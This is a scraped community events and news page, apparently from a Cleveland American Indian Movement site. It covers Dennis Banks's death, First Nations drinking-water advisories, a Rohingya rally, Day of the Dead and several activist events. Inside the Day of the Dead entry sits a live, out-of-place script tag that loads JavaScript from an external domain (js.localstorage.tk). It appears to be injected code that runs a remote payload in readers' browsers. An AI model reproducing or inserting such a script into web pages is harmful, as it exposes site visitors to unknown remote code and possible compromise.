Dennis Banks and His Last Walk

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We would like to express our condolences to the Banks family at the last walk of Dennis Banks. One of the original founders of the American Indian Movement, Dennis Banks worked tirelessly to elevate the status of Natives in America. For decades, he was the target of government persecution as he protested contemporary treatment and historical injustices against indigenous peoples in the United States.

Dennis Banks was 80 years old when he went to meet the ancestors Sunday October 29, 2017.

From his children:

"Our father Dennis J. Banks started his journey to the spirit world at 10:10 pm on October 29, 2017.

Almost 50 Aboriginal Communities Have Lost Access to Safe Drinking Water Since 2016

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Jessy Sabourin and her sisters live in the community of Pic Mobert. They have been able to use water from the tap for only a year.

While Ottawa is committed to making drinking water available to all of Canada's Aboriginal water systems by 2021, no less than 47 new drinking water advisories have been put in place since 2016, including 27 since the beginning of the year, according to data obtained by The Canadian Press.

This situation leads several observers to believe that the Trudeau administration is likely not to meet its target of lifting all long-term advisories on systems funded by the Department of Indigenous and Northern Affairs Canada (INAC) by 2021, despite investments of $1.8 billion over the next five years.

Rally Protesting Genocide of Rohingya in Burma

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Flyer for Rally in Support of Peace in Burma.

From SALAAM MEDIA ADVISORY:

Muslim community and our partners are organizing a rally to protest the Burma military’s genocidal attacks on the Rohingya people.

The Rohingya are indigenous people of Burma living in their ancestral lands.

Their citizenship was revoked in 1982 by a military regime. The UN consider the Rohingya to be the world’s most persecuted people.

October 29, 2017 - 2:00pm
Salaam Cleveland
CAIR
the Refugee Response
Burma Task Force

Day of the Dead

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Photo by G.Mannaerts. Day of the Dead (Dia de Muertos), Merida cemetary, Mexico.

The annual days of celebration to honor the ancestors.

Throughout Turtle Island, indigenous people have traditionally honored the dead during those days when the door to the spirit world is open. In the modern era October 31st marks the beginning of this time which ends November 2nd. <script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>

October 31, 2017 (All day) to November 2, 2017 (All day)
Cleveland American Indian Movement

The Cleveland Truth Commission on Poverty

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Hear personal testimony about what the Poor face in housing, education, health care, employment, the justice system, and a polluted and toxic environment. Join us to help us break the silence of decades of denial and lies about poverty.

Free childcare will be provided but you must call 216-651-2606 to register your children.

For more information contact: endpovertynow@organizeohio.org or call 216-651-2606.

Hosted by End Poverty NOW Cleveland

October 14, 2017 - 10:00am to 4:00pm
End Poverty NOW Cleveland

Guatemalan Youth in Defense of Land and Life!

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Youth activists speak about defense of land and the environment in Guatemala.

This fall, NISGUA (Network in Solidarity with Guatemala) welcomes Alex Escobar Prado as the featured speaker for this year’s tour, “Guatemalan Youth in Defense of Land and Life!” Alex is an activist, educator, and a member of the Guatemalan environmental justice organization Youth Organized in Defense of Life (JODVID). Born out of the struggle for community self-determination and resistance to Tahoe Resources’ Escobal silver mine in southeastern Guatemala, JODVID uses the arts and popular education to mobilize youth in local and regional movements to protect the environment and defend territory.

October 12, 2017 - 7:15pm to 8:30pm
Santa Elena Project of Accompaniment (SEPA)

Indigenous Peoples' Day Service of Reconciliation (Oberlin)

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Settler colonialism brought genocide, disease, and heartbreak to indigenous populations. It also brought a form of Christianity which sought to obliterate the spirituality of indigenous people with forced conversions and threat of death. Truth-telling is the beginning of reconciliation. This service is one small part of addressing this history and legacy in our nation.

Peace Community Church
44 East Lorain Street
Oberlin, OH 44074
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October 9, 2017 - 7:00pm to 8:30pm
Oberlin Indigenous Peoples' Day Committee

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John Winthrop, a founder of the Massachusetts Bay colony considered this wave of illness and death [among Natives] to be a divine miracle. He wrote to a friend in England, "But for the natives in these parts, God hath so pursued them, as for 300 miles space the greatest part of them are swept away by smallpox which still continues among them. So as God hath thereby cleared our title to this place, those who remain in these parts, being in all not 50, have put themselves under our protection.
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